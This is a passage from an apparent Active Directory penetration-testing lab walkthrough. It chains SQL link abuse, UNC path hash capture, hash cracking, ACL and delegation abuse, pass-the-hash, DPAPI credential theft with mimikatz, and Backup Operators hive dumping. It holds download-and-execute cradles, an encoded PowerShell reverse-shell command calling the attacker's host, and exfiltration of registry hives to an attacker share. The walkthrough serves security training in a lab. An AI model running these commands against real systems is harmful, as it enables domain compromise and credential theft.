**Task: Enumerate SQL Links to hop across trusts.**

1. We now fully own the server `web01` which runs as a SQL Server. During our enumeration we didn't check for any SQL Links. We could do this manually in our connected mssqlclient.py session, but we could also use HeidiSQL from our Windows 10 machine. You might wonder why, but I prefer to use Heidisql, especially with bigger queries and data returned. mssqlclient.py for example returns big tables like this on my fullscreen monitor, its unreadable:

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FK2KpaxXabksm9mgy4maK%2Fimage.png?alt=media\&token=75bd73e6-28fe-484e-99a8-a7975e842246)

To do this we need to setup a port forward since our Windows 10 machine isn't connected to the lab. We can do this with [Socat](https://github.com/3ndG4me/socat). This will make our kali listen on port `1433` and redirect all traffic to `WEB01` (`10.0.0.5`) port `1433`. The SQL Server is running on default on port 1433.

```
socat tcp-l:1433,fork tcp:10.0.0.5:1433
```

{% hint style="info" %}
You can also do this to connect with the native windows Remote Desktop client instead of rdesktop or any linux remote desktop tool. I really prefer doing it that way.
{% endhint %}

On our Windows 10 machine we need to start [HeidiSQL](https://www.heidisql.com/) with a runas command to be able to authenticate with the domain user `Richard` his credentials. When prompted for the password enter `Sample123`.

```
runas /netonly /user:amsterdam\richard c:\Tools\AD\HeidiSQL_11.3_64_Portable\heidisql.exe
```

Then we can connect to the database using the following settings:

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2F7l6YblPyFT3DPV8UyUV8%2Fimage.png?alt=media&#x26;token=23cf6525-6610-4cf5-8a70-f95a4ea0fdb6" alt=""></div>

{% hint style="info" %}
For this to work you will need to fill in the IP of your kali machine, which need to be in the same network as the Windows 10 machine.
{% endhint %}

2\. In HeidiSQL click on the "Query" tab and execute the following query to enumerate SQL links:

```
SELECT * FROM master..sysservers;
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FMofNEcM1EUW0ZhqGnd4Q%2Fimage.png?alt=media\&token=4bb0547f-a1c6-4805-9370-21d0121e188e)

3\. There is one SQL link to a sql server on `data01.secure.local`. We can try to query the linked server for the SQL server version with the following query, using the openquery functionality:

```
SELECT * FROM OPENQUERY("DATA01.SECURE.LOCAL", 'select @@version');
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2F2Zyy1fzcdet4R3VyMFPn%2Fimage.png?alt=media&#x26;token=0f880317-51c3-4cff-98f5-6d554a0f518f" alt=""></div>

4\. We can also query the server to check if xp\_cmdshell is on so we can execute commands:

```
SELECT * FROM OPENQUERY("DATA01.SECURE.LOCAL", 'SELECT * FROM sys.configurations WHERE name = ''xp_cmdshell''');
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FVjzx3nsnkcGzq7gQUcA8%2Fimage.png?alt=media\&token=79391a20-2114-4217-a4b3-2fdabcd2207c)

Unfortunately it isn't enabled.&#x20;

{% hint style="success" %}
You could try to enable it (and that works too if you configured it in one of the pages). But that isn't the intended way for the attack path and gain access to the machine. Feel free to test it though.
{% endhint %}

### 8. UNC Path injection

**Task: Perform a UNC Path injection and capture the hash of SQL Service user.**

SQL Servers by default runs as a local service under the context of the computeraccount. But it is possible that the SQL service is running as a domain user which is made for the SQL service. For example `sa_sql`. If we are able to capture its NTLMv2 hash we could try to crack it offline

1. Before we can try to capture hashes we should run [Responder](https://github.com/lgandx/Responder) on our attacking machine. Responder will listen on multiple ports such as SMB, SQL, FTP etc. For executing the attack we only need SMB (port 445). We can run Responder with the following command

```
sudo responder -I tun0
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FeREFIpb2T26SBS171GmM%2Fimage.png?alt=media&#x26;token=f8ab78ad-2268-4cca-aa20-9cf2e76b2d8e" alt=""></div>

2\. The next step is to perform a UNC Path injection attack. One SQL function we can use for that is `xp_dirtree`. We can try the UNC Path injection with the following query in HeidiSQL, using the EXEC AT method to execute something through the link:

```
EXEC('xp_fileexist ''\\192.168.248.2\pwn''') AT "DATA01.SECURE.LOCAL"
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FwpncYpbOi8Hc4r13SMtK%2Fimage.png?alt=media&#x26;token=1f8f099a-9337-461a-8f16-da19b84c1b55" alt=""></div>

3\. If we check our Responder output we can see that we captured the hash from the user `sa_sql` from the domain `Secure`.

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FxEhkoS4Z33dRiq23GA2M%2Fimage.png?alt=media\&token=6ea4b6bd-b068-424c-ba5d-a4db10be56ee)

### 9. Crack SQL account hash

**Task: Crack the hash of the SQL service user.**

1. We received a NTLMv2 hash from the `sa_sql` user, which we can try to crack if the password of the user isn't that strong. We can easily do this with Hashcat like we did during the AS-REP roasting. But this time we need another hashmode.

```
.\hashcat.exe -a 0 -m 5600 .\hash.txt .\wordlists\rockyou.txt  -r .\rules\dive.rule
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FXMgKJtk4exgiGJ0jdYQQ%2Fimage.png?alt=media\&token=11c1e216-7ba2-4449-98c2-4af60a696dff)

We successfully cracked the hash of the `sa_sql` user, the password is `Iloveyou2`.

### 10. ACL - Write Owner & RCBCD

**Task: Check for ACL's and get access to the system.**

1. To enumerate ACL abuses I prefer to run BloodHound. We already gathered the information for `amsterdam.bank.local` but the `sa_sql` user is part of a different domain. To use BloodHound we need to know what the domain controller is for this domain. We can enumerate this in a lot of ways, the easiest way is to try to resolve the domain name:

```
nslookup secure.local
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FieXzBmxPNFuLf1VXTifG%2Fimage.png?alt=media&#x26;token=73818348-e516-4050-bdb8-8beb23046108" alt=""></div>

2\. The IP for secure.local is `10.0.0.100`, we can quickly run Crackmapexec and see if we can connect to it over SMB:

```
crackmapexec smb 10.0.0.100
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FO7ZsIHwcJXm0W8LvTvlA%2Fimage.png?alt=media\&token=612bdac2-8a83-4b42-89ad-a8f2e3c19fe0)

3\. The hostname is `DC03`, and the machine is part of `secure.local`. We probably found the domain controller. Lets run BloodHound with the gathered credentials to retrieve the domain data:

```
bloodhound-python -d secure.local -ns 10.0.0.100 -dc DC03.secure.local -u 'sa_sql' -p 'Iloveyou2' --zip -c all
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FAts2DGuuImmIuLFh18gP%2Fimage.png?alt=media\&token=6b1a17bc-bb81-4206-a909-f9c8bb929545)

We were able to successfully gather the BloodHound data. We can load it by dragging it into BloodHound like we did earlier. We can also find the `sa_sql` user now:

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FDWmvzXpRhCxQhJMsKYfF%2Fimage.png?alt=media&#x26;token=52d65a30-3950-4636-8487-da5d9da1cf2b" alt=""></div>

4\. Click on the user and scroll down in the "Node Info" till the "Outbound Control Rights" section. If there is any data here, it means the object has control on another object. Lets click on the number "1".

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FDTWRQUHIyvv2vRThCl6k%2Fimage.png?alt=media&#x26;token=0331fc10-066a-490e-852a-33744d906451" alt=""></div>

We see that the user has WriteOwner permissions:

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FGyLsbaOPzsYbJ3n6OX8V%2Fimage.png?alt=media&#x26;token=98c0a6e9-a778-44a6-9a3e-ea7aa2c30f3d" alt=""></div>

In BloodHound you can right click the Edge and click the ?Help function to get more information on how to abuse it:

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FT78aIqMR6CiRrpWtuMPh%2Fimage.png?alt=media&#x26;token=8ea52531-1ee5-45a1-ac34-df3c9ee7513f" alt=""></div>

5\. One tool to do these ACL abuses is [PowerView](https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1) from PowerSploit. So lets download that and load it into memory in the shell we have on `WEB01`.

```
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
iex (iwr http://192.168.248.2:8090/PowerView.ps1 -usebasicparsing)
```

We also need to create a credential object for the `sa_sql` user since we need to execute the commands as that user. We can do that with the following powershell commands:

```
$password = ConvertTo-SecureString 'Iloveyou2' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('secure.local\sa_sql', $password)
```

The credentials are saved in the `$creds` variable now:

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FYJBBF8tFBVRSM8zzq5gm%2Fimage.png?alt=media\&token=4f8c6a14-63f2-4134-ac1a-961bf1650a88)

6\. Now we can use PowerView to query the domain controller from `secure.local` for the domain-object `DATA01` and retrieve the samaccountname and Owner attribute. We will receive a SID which we need to resolve as well;

```
Get-DomainObject -Identity data01 -SecurityMasks Owner -Domain secure.local -Credential $creds -Server 10.0.0.100 | select samaccountname, Owner
Get-DomainObject -Identity S-1-5-21-1498997062-1091976085-892328878-512 -Domain secure.local -Credential $creds -Server 10.0.0.100
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FeMfBLKuGxDhxPq0Wtbwe%2Fimage.png?alt=media\&token=2ecc17fe-f37e-49fa-84e3-b7c2155bcb6d)

7\. The current owner of `DATA01` is the Domain Admins group. Lets change that. We can change the owner of the object using the `Set-DomainObjectOwner` cmdlet. The command below will change the owner to `sa_sql`.

```
Set-DomainObjectOwner -Domain secure.local -Credential $creds -Server 10.0.0.100 -Identity DATA01 -OwnerIdentity sa_sql -Verbose
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FjqjiJg2hCTufZBszMXIx%2Fimage.png?alt=media\&token=7d4e9d9f-284d-467e-87ef-e0144972dc5e)

We didn't received any output, but we can execute the commands again to see who the owner is now.

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FjnVlRemLoAXy74VNu7EX%2Fimage.png?alt=media\&token=23d2ff0e-b55a-45cd-8e59-114dcd8ec7e1)

The owner successfully changed.

8\. Since we are the owner of the object now we can change the permissions we have on the object. We can give ourself genericall rights. This can be done with PowerView and the cmdlet `Add-DomainObjectAcl`.

```
Add-DomainObjectAcl -Domain secure.local -Credential $creds -TargetDomain secure.local -TargetIdentity DATA01 -PrincipalDomain secure.local -PrincipalIdentity sa_sql -Rights All -Verbose
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FmsYhsFWmANXfwoz5FEAy%2Fimage.png?alt=media\&token=645685c8-9eb6-4316-be1e-3b1a59508a21)

9\. We didn't reveive any output but now we can check the current permissions by running BloodHound again and ingesting the data:

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FPxXXpDiOSAuf51ZUV4bd%2Fimage.png?alt=media&#x26;token=b4a922f6-55d4-4550-b8a7-58ef3275a021" alt=""></div>

10\. We have a lot of permissions now. Since `DATA01` doesn't have LAPS installed unfortunately, we need to execute another Resource Based Constrained Delegation attack. The one known as the computer object takeover. To execute this attack there are two requirements:

* An account with a SPN associated (or able to add new machines accounts (default value this quota is 10))
* A user with write privileges over the target computer which doesn't have msds-AllowedToActOnBehalfOfOtherIdentity

11\. The first requirement we already know how to do. So lets do what we did previously. Check for the machine account qouta in the `secure.local` domain.&#x20;

```
crackmapexec ldap 10.0.0.100 -u sa_sql -p Iloveyou2 -M MAQ
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FAKRXT5PbN8tr2yAIEkSc%2Fimage.png?alt=media\&token=7d0a34da-7d4f-40f4-a9fe-3f65c16f58de)

Then create a credential object, load PowerMad and add a computerobject to the domain:

```
$password = ConvertTo-SecureString 'Iloveyou2' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('secure.local\sa_sql', $password)
iex (iwr http://192.168.248.2:8090/Powermad.ps1 -usebasicparsing)
New-MachineAccount -Domain secure.local -Credential $creds -DomainController 10.0.0.100 -MachineAccount FAKE01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FcWxp1k4yWOn2x1IEB7MQ%2Fimage.png?alt=media\&token=0327a59d-a466-4ce8-9cd0-720f4a1bbdc3)

We successfully created the computerobject `FAKE01` in the `secure.local` domain.

12\. The second requirement we already have, we gave `sa_sql` genericall permissions to `DATA01`. But we can check if the `msds-AllowedToActOnBehalfOfOtherIdentity` attribute is empty with PowerView.

```
iex (iwr http://192.168.248.2:8090/PowerView.ps1 -usebasicparsing)
Get-DomainComputer -Domain secure.local -Credential $creds -Server 10.0.0.100 Data01 | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FRiw4Uf7dg6ZuX7Kiah1i%2Fimage.png?alt=media\&token=7ddf7602-7596-42d1-bc37-3f254b909dfc)

13\. The attribute haven't been set. Before we can write to it, we need to prepare the descriptor. First we need to get the SID of the computerobject `FAKE01` which we created. We can request this with PowerView:

```
Get-DomainComputer fake01 -Domain secure.local -Credential $creds -Server 10.0.0.100 | Select-Object samaccountname, objectsid
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FKbHrRL5SVZs6lOVYGvFZ%2Fimage.png?alt=media\&token=3d0c8f72-300c-4ff2-a467-f4edc75fe6e7)

Now we need to create the raw security descriptor which we then will write to the attribute:

```
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1498997062-1091976085-892328878-1601)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FMgbNvi7zZisRolUje2Pa%2Fimage.png?alt=media\&token=591ac3bb-d882-4b2c-882f-71ff600b9fe2)

14\. Now we can write as `sa_sql` to the `msds-allowedtoactonbehalfofotheridentity` attribute of the computerobject `DATA01`:

```
Get-DomainComputer DATA01 -Domain secure.local -Credential $creds -Server 10.0.0.100 | Set-DomainObject -Domain secure.local -Credential $creds -Server 10.0.0.100 -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FuH5aLSIVJqKuIJ2QrRko%2Fimage.png?alt=media\&token=1552bc53-f6b5-4ca7-85ce-527123261503)

We didn't get any output since we are in a shell. But we can check the attribute again to see of it worked:

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FR60mk8nL5ydIaMQ1zsew%2Fimage.png?alt=media\&token=110ba616-0103-4aba-bc84-9dd9672c9b7e)

Seems like it worked, now we can check the value of the `msds-AllowedToActOnBehalfOfOtherIdentity` attribute by saving it in a variable and doing some PowerShell confu to decrypt it:

```
$RawBytes = Get-DomainComputer DATA01 -Domain secure.local -Credential $creds -Server 10.0.0.100 -Properties 'msds-allowedtoactonbehalfofotheridentity' | Select-Object -ExpandProperty msds-allowedtoactonbehalfofotheridentity
(New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0).DiscretionaryAcl
Get-DomainComputer -Domain secure.local -Credential $creds -Server 10.0.0.100 S-1-5-21-1498997062-1091976085-892328878-1601 | Select-Object samaccountname
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FxZEL2tbvbAUdi5KXjWbg%2Fimage.png?alt=media\&token=bc173a03-a3c4-4e47-a3aa-765642a65ab0)

15\. The next step is to impersonate a user and request tickets so we can authenticate. We can create a CIFS service ticket using `FAKE01` impersonating the domain admin Administrator using impackets getST.py script. Fill in the password `123456`.

```
getST.py secure/FAKE01@10.0.0.100 -spn cifs/data01.secure.local -impersonate administrator -dc-ip 10.0.0.100
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FIGzHjkUJpsfyMsMLv3Zm%2Fimage.png?alt=media\&token=fe007090-887c-4243-bb37-4f0288612aba)

Now we can use the ticket and authenticate with tools that support these, most (if not all) impacket tools support this. So we can run secretsdump.py to retrieve the local useraccount hashes.

```
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass data01.secure.local
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2F4rVNqmucEYTNlZixOidO%2Fimage.png?alt=media\&token=a695c300-d4e0-4890-ab74-8b523a4af647)

16\. We retrieved the hash of the local administrator user. We can use the local admin hash though to authenticate to `DATA01`.&#x20;

```
crackmapexec smb 10.0.0.101 -u administrator -H a59cc2e81b2835c6b402634e584a8edc -x whoami
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FGD3z5qytl1Wsc57IwHCb%2Fimage.png?alt=media\&token=1db0a0de-e40f-47d5-8bde-51d85ca1f7c6)

17\. We could get a shell the same way as we did before.

```
crackmapexec smb 10.0.0.101 -u administrator -H a59cc2e81b2835c6b402634e584a8edc --local-auth -x 'powershell.exe -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgA0ADgALgAyADoAOAAwADkAMAAvAGEAbQBzAGkALgB0AHgAdAAiACkAKQA7ACAASQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgA0ADgALgAyADoAOAAwADkAMAAvAEkAbgB2AG8AawBlAC0AUABvAHcAZQByAFMAaABlAGwAbABUAGMAcAAuAHAAcwAxACIAKQApADsA'
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FiDZfWvddVeAdYd9U689G%2Fimage.png?alt=media&#x26;token=8085516c-7210-4d60-8c92-c1d9c22d1564" alt=""></div>

### 11. Dumping DPAPI

**Task: Look for saved credentials on the machine (DPAPI).**

1. One of the things I like to do when gaining access to a system is running [Seatbelt](https://github.com/GhostPack/Seatbelt). This tool will check many things like permissions, groups and for stored credentials. First we need to download Seatbelt.exe on the target and then run Seatbelt:

```
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile("http://192.168.248.2:8090/Seatbelt.exe","C:\users\public\Seatbelt.exe") 
.\Seatbelt.exe --group=user
```

2\. In the output of the section WindowsCredentialFiles we can see that the user `sa_sql` has some credentials saved:

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2F92VQtqzQ2jKAk8zBp4mE%2Fimage.png?alt=media&#x26;token=9b13eeb0-d55d-4cfd-90d0-d54b5576c1be" alt=""></div>

4\. We can find the master encryption key id and some information about the saved credentials with the following Mimikatz command using the previous path and FileName:

```
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile("http://192.168.248.2:8090/mimikatz.exe","C:\users\public\mimikatz.exe") 
./mimikatz.exe "dpapi::cred /in:C:\Users\sa_sql\AppData\Roaming\Microsoft\Credentials\02BF8752741C7A447536E822E53153CD" "exit"
```

{% hint style="info" %}
The latest compiled version of Mimikatz doesn't work on server 2022. Compiling the latest commit with Visual Studio 2019 gave me some errors, but this [https://github.com/matrix/mimikatz/tree/type\_cast-pointer\_truncation\_x64](https://github.com/matrix/mimikatz/tree/type_cast-pointer_truncation_x64) repostorie/pull request worked for me without errors! I really hate compiling tools like this, always errors :cry:
{% endhint %}

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2F0v7jHqWitC1nAqUUFQG4%2Fimage.png?alt=media\&token=b82ff143-6560-4cc3-9c9e-36294c60373c)

The `pbData` field contains the encrypted data and the `guidMasterKey` contains the GUID of the key needed to decrypt it.

5\. The next step is to retrieve the masterkey with the password of the user. Luckily we already know the password of the `sa_sql` user, which is `Iloveyou2`. With the following Mimikatz command we can retrieve the masterkey:

```
./mimikatz.exe "dpapi::masterkey /in:C:\Users\sa_sql\AppData\Roaming\Microsoft\Protect\S-1-5-21-1498997062-1091976085-892328878-1106\e1f462bb-9a65-40f0-a144-4f64bea97ce2 /sid:S-1-5-21-1498997062-1091976085-892328878-1106 /password:Iloveyou2 /protected" "exit"
```

For some reason I kept getting errors, even If I gained a shell as `sa_sql` through crackmapexec. We already owned the machine so maybe we could just RDP into it. But RDP is disabled:

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FXSc7ZWwIdPWpYyZWLMCB%2Fimage.png?alt=media&#x26;token=b711be7f-7d4f-41fa-b1ef-5fc21e0bd44b" alt=""></div>

We could always just enable RDP with the following commands:

```
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f 
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
```

We also have to add our user to the local admin group and Remote Desktop Users group:

```
net localgroup administrators sa_sql /add 
net localgroup "Remote Desktop Users" sa_sql /add
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FX0cegNXmSvrG7L2gBMyB%2Fimage.png?alt=media\&token=13fc08ac-77a1-4d55-9c98-e33a87635e0e)

If we scan with Nmap now port 3389 is open:

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FKMw9ituwgUWEKmg7igSf%2Fimage.png?alt=media&#x26;token=6d3d0bdc-7604-46c6-b127-fd2184924352" alt=""></div>

We now can RDP into the machine with for example Xfreerdp:

```
xfreerdp /u:'secure\sa_sql' /p:Iloveyou2 /v:10.0.0.101
```

If we now run the same Mimikatz.exe command we receive the masterkey:

```
./mimikatz.exe "dpapi::masterkey /in:C:\Users\sa_sql\AppData\Roaming\Microsoft\Protect\S-1-5-21-1498997062-1091976085-892328878-1106\e1f462bb-9a65-40f0-a144-4f64bea97ce2 /sid:S-1-5-21-1498997062-1091976085-892328878-1106 /password:Iloveyou2 /protected" "exit"
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FMZPHmPUmRlicWrrai2aL%2Fimage.png?alt=media\&token=9f1a16e3-8737-419f-89bd-5bb399e8b869)

7\. Now we can read the saved credentials with the masterkey using the following Mimikatz command:

```
./mimikatz.exe "dpapi::cred /in:C:\Users\sa_sql\AppData\Roaming\Microsoft\Credentials\02BF8752741C7A447536E822E53153CD /masterkey:b3e8630e96acba990f836b4462a9285a4c987776f17f11b2559d9fdf67d03cf6b99dd89445d5641aef6f4477f7354eb6f19e3053e1d56712f45bc227249cdea2" "exit"
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2F2yocJNclQ90D7XxLqbEW%2Fimage.png?alt=media&#x26;token=17440be8-13dc-4351-87f9-d8a6c99e039f" alt=""></div>

We recived a credentials for the `sa_backup` user, the password is `LS6RV5o8T9`. We can quickly check if this is correct with Crackmapexec:

```
crackmapexec smb 10.0.0.100 -u sa_backup -p LS6RV5o8T9
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FBTHqB11WsraxOKSCLI5C%2Fimage.png?alt=media\&token=4ec1e38e-4c18-4ec2-b69a-ebb1cdcebc8a)

The login is succesfull, so the password is correct. The last thing to do is to remove the tools we placed on the machine and we should disable RDP again to not leave any changes to the system.

```
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f 
netsh advfirewall firewall set rule group="remote desktop" new enable=No
```

### 12. Privileged groups

**Task: Become domain admin by abusing the "Backup Operators" group.**

1. When we look at the user `sa_backup` we see that he is a member of multiple high privileged groups, such as `Server Operators`, `Account Operators` and `Backup Operators`. In this section we will abuse the last group to become `Domain Admin`. This group can read files on the domain controller.
2. To execute the [BackupOperatorToDA](https://github.com/mpgn/BackupOperatorToDA) tool which is able to dump the sam using these privileges we need to host our own public smb share. we can do this with the smbserver.py script from Impacket. This will create a share on `\\192.168.248.2\share`.

```
mkdir ~/adlab/share
python3 /opt/impacket/examples/smbserver.py share ~/adlab/share -smb2support
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FYUXAiGTHnZSEYJYiX4zR%2Fimage.png?alt=media&#x26;token=e32753d0-532d-4aa0-b813-eed5597e34ac" alt=""></div>

3\. The next step is to execute the BackupOperatorToDa tool to retrieve the the SAM, SYSTEN and SECURITY HIVE and save them in our created public share. But first we have to download it on `DATA01` in the shell:

```
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile("http://192.168.248.2:8090/BackupOperatorToDA.exe","C:\users\public\BackupOperatorToDA.exe") 
.\BackupOperatorToDA.exe -t \\dc03.secure.local -u sa_backup -p LS6RV5o8T9 -d secure.local -o \\192.168.248.2\share\
```

4\. After a couple of minutes when we share the directory `~/adlab/share` we see that the files `SAM`, `SYSTEM` and `SECURITY` are there.

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2F60wL73I9uvS8WRhh4Ify%2Fimage.png?alt=media&#x26;token=fb39e17a-8749-4364-a5ed-c7d9161502ca" alt=""></div>

5\. The next step is to run [SecretDump.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py) from Impacket to retrieve the machine account NTLM hash out of these HIVE dumps:

```
secretsdump.py LOCAL -system ~/adlab/share/SYSTEM -security ~/adlab/share/SECURITY -sam ~/adlab/share/SAM
```

